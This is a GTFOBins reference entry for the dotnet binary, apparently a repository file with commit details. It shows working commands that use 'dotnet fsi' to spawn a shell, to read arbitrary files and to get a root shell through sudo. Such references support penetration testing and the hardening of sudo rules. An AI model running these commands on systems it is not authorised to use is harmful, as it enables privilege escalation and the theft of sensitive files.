GTFOBins.github.io/_gtfobins/dotnet.md
pad0van f9e3d84596
Add dotnet
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-02-23 21:53:30 +01:00

17 lines
412 B
Markdown

---
functions:
shell:
- code: |
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
file-read:
- code: |
export LFILE=file_to_read
dotnet fsi
System.IO.File.ReadAllText(System.Environment.GetEnvironmentVariable("LFILE"));;
sudo:
- code: |
sudo dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
---